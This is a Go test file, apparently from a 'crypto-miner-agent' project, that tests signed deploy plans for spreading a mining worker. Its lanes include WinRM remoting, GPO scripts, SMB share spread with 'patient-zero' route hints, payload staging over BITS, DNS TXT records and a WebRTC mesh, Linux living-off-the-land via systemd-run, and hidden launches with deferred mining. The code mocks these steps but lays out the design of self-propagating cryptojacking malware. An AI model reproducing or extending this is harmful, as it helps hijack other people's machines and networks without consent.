Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
350 lines
9.8 KiB
Go
350 lines
9.8 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/base64"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
|
|
plan := DeployPlanBody{
|
|
JoinLane: "winrm",
|
|
Action: "winrm",
|
|
Script: "# noop",
|
|
}
|
|
payload, _ := json.Marshal(plan)
|
|
mac := hmac.New(sha256.New, []byte("fleet-test"))
|
|
mac.Write(payload)
|
|
sig := hex.EncodeToString(mac.Sum(nil))
|
|
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
|
|
t.Fatal("expected valid signature")
|
|
}
|
|
}
|
|
|
|
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
|
|
cfg := config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
FleetSecret: "fleet-test",
|
|
WorkerName: "test-worker",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
},
|
|
}
|
|
|
|
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
|
if len(services) == 0 {
|
|
t.Fatal("expected services")
|
|
}
|
|
if services[0].Name != "CCMEXEC" {
|
|
t.Fatalf("service=%q", services[0].Name)
|
|
}
|
|
plan := DeployPlanBody{
|
|
JoinLane: "gpo",
|
|
Action: "gpo",
|
|
Script: "$env:AETHER_DEFER_MINING='1'",
|
|
}
|
|
payload, _ := json.Marshal(plan)
|
|
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
|
mac.Write(payload)
|
|
return DeployPlanResponse{
|
|
OK: true,
|
|
JoinLane: "gpo",
|
|
Plan: plan,
|
|
Signature: hex.EncodeToString(mac.Sum(nil)),
|
|
}, nil
|
|
}
|
|
|
|
// Inject fake discovery via ParseServiceDiscoverJSON path
|
|
oldDiscover := runServiceDiscoverFn
|
|
runServiceDiscoverFn = func(maxLANHosts int) string {
|
|
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
|
|
}
|
|
defer func() { runServiceDiscoverFn = oldDiscover }()
|
|
|
|
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
|
if err != nil {
|
|
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
|
|
if lane != "gpo" {
|
|
t.Fatalf("lane=%q err=%v", lane, err)
|
|
}
|
|
return
|
|
}
|
|
if lane != "gpo" {
|
|
t.Fatalf("lane=%q detail=%q", lane, detail)
|
|
}
|
|
}
|
|
|
|
func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) {
|
|
cfg := config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
FleetSecret: "fleet-test",
|
|
WorkerName: "test-worker",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
},
|
|
}
|
|
|
|
payload := []byte("do-peer-signed-plan")
|
|
sum := sha256.Sum256(payload)
|
|
hash := hex.EncodeToString(sum[:])
|
|
|
|
oldBits := doPeerDownloadBITSFn
|
|
doPeerDownloadBITSFn = func(url, dest string) error {
|
|
return os.WriteFile(dest, payload, 0o644)
|
|
}
|
|
defer func() { doPeerDownloadBITSFn = oldBits }()
|
|
|
|
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
|
plan := DeployPlanBody{
|
|
JoinLane: "do_peer",
|
|
Action: "do_peer",
|
|
PeerGroup: "af-peer-lab",
|
|
Manifest: &StagingManifest{
|
|
Method: "bits",
|
|
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}},
|
|
SHA256: hash,
|
|
Dest: "do-peer-test-worker.exe",
|
|
Launch: "exe",
|
|
DeferMining: true,
|
|
SpreadInstall: true,
|
|
},
|
|
}
|
|
payloadJSON, _ := json.Marshal(plan)
|
|
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
|
mac.Write(payloadJSON)
|
|
return DeployPlanResponse{
|
|
OK: true,
|
|
JoinLane: "do_peer",
|
|
Plan: plan,
|
|
Signature: hex.EncodeToString(mac.Sum(nil)),
|
|
}, nil
|
|
}
|
|
|
|
oldDiscover := runServiceDiscoverFn
|
|
runServiceDiscoverFn = func(maxLANHosts int) string {
|
|
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}`
|
|
}
|
|
defer func() { runServiceDiscoverFn = oldDiscover }()
|
|
|
|
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
|
if lane != "do_peer" {
|
|
t.Fatalf("lane=%q err=%v", lane, err)
|
|
}
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") {
|
|
return
|
|
}
|
|
t.Fatalf("unexpected error: %v", err)
|
|
}
|
|
if detail == "" {
|
|
t.Fatal("expected success detail")
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
|
|
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"})
|
|
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
|
|
t.Fatalf("err=%v", err)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
|
payload := []byte("dns-txt-signed-plan")
|
|
sum := sha256.Sum256(payload)
|
|
hash := hex.EncodeToString(sum[:])
|
|
|
|
oldResolve := dnsTXTResolveFn
|
|
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
|
|
return base64.StdEncoding.EncodeToString(payload), nil
|
|
}
|
|
defer func() { dnsTXTResolveFn = oldResolve }()
|
|
|
|
plan := DeployPlanBody{
|
|
JoinLane: "dns_txt", Action: "dns_txt",
|
|
DNSTXTZone: "lab.internal",
|
|
Manifest: &StagingManifest{
|
|
Method: "dns_txt",
|
|
Chunks: []StagingChunk{{Record: "_aether.shard0.lab.internal", Index: 0}},
|
|
SHA256: hash, Dest: "dns-txt-test-worker.exe", Launch: "exe", DeferMining: true,
|
|
},
|
|
}
|
|
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
|
return
|
|
}
|
|
t.Fatalf("unexpected error: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
|
|
plan := DeployPlanBody{
|
|
JoinLane: "ssm_document", Action: "ssm_document",
|
|
SSMDocument: `{"schemaVersion":"2.2"}`,
|
|
}
|
|
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(msg, "ssm_document") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
|
plan := DeployPlanBody{
|
|
JoinLane: "spread_smb_unc",
|
|
Action: "spread_smb_unc",
|
|
UNCPath: `\\forge\share\worker.exe`,
|
|
SpreadRouteHint: &SpreadRouteHint{
|
|
TargetSubnet: "10.1.2",
|
|
SeedAgentID: "seed-hop",
|
|
EgressAgentID: "seed-hop",
|
|
Score: 0.82,
|
|
},
|
|
}
|
|
msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
|
|
if err != nil {
|
|
t.Fatalf("err=%v", err)
|
|
}
|
|
if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
|
|
payload := []byte("webrtc-seed-plan")
|
|
sum := sha256.Sum256(payload)
|
|
hash := hex.EncodeToString(sum[:])
|
|
|
|
oldFn := webrtcMeshReceiveFn
|
|
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
|
if !policy.IsSeeder {
|
|
return nil, fmt.Errorf("expected seeder role")
|
|
}
|
|
return payload, nil
|
|
}
|
|
defer func() { webrtcMeshReceiveFn = oldFn }()
|
|
|
|
plan := DeployPlanBody{
|
|
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
|
|
WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
|
|
SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
|
|
Manifest: &StagingManifest{
|
|
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
|
|
},
|
|
}
|
|
_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
|
return
|
|
}
|
|
t.Fatalf("unexpected error: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanWinRMWithMockHiddenRun(t *testing.T) {
|
|
var got []string
|
|
SetHiddenRunFn(func(name string, arg ...string) error {
|
|
got = append(got, name)
|
|
return nil
|
|
})
|
|
defer SetHiddenRunFn(nil)
|
|
|
|
plan := DeployPlanBody{
|
|
JoinLane: "winrm",
|
|
Action: "winrm",
|
|
Script: "Enable-PSRemoting -Force",
|
|
}
|
|
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(msg, "winrm") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
if len(got) == 0 || got[0] != "powershell" {
|
|
t.Fatalf("got hidden run=%v", got)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanGPOWithMockHiddenRun(t *testing.T) {
|
|
SetHiddenRunFn(func(name string, arg ...string) error { return nil })
|
|
defer SetHiddenRunFn(nil)
|
|
|
|
plan := DeployPlanBody{
|
|
JoinLane: "gpo",
|
|
Action: "gpo",
|
|
Script: "$env:AETHER_DEFER_MINING='1'",
|
|
}
|
|
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(msg, "gpo") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanLinuxLOTLWithMockHiddenRun(t *testing.T) {
|
|
var invoked string
|
|
var args []string
|
|
SetHiddenRunFn(func(name string, arg ...string) error {
|
|
invoked = name
|
|
args = append([]string(nil), arg...)
|
|
return nil
|
|
})
|
|
defer SetHiddenRunFn(nil)
|
|
|
|
script := "systemd-run --user --unit=aetherforge-worker.service /opt/af/worker --run --defer-mining"
|
|
plan := DeployPlanBody{
|
|
JoinLane: "linux_lotl",
|
|
Action: "linux_lotl",
|
|
Script: script,
|
|
}
|
|
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(msg, "linux lotl") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
joined := strings.Join(args, " ")
|
|
if !strings.Contains(joined, "systemd-run") {
|
|
t.Fatalf("invoked=%q args=%v", invoked, args)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
|
|
payload := []byte("webrtc-signed-plan")
|
|
sum := sha256.Sum256(payload)
|
|
hash := hex.EncodeToString(sum[:])
|
|
|
|
oldFn := webrtcMeshReceiveFn
|
|
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
|
return payload, nil
|
|
}
|
|
defer func() { webrtcMeshReceiveFn = oldFn }()
|
|
|
|
plan := DeployPlanBody{
|
|
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
|
|
WebRTCMesh: &WebRTCMeshPlanBody{RotationHours: 24, SeederAgentID: "seed-1"},
|
|
Manifest: &StagingManifest{
|
|
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
|
|
},
|
|
}
|
|
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
|
return
|
|
}
|
|
t.Fatalf("unexpected error: %v", err)
|
|
}
|
|
}
|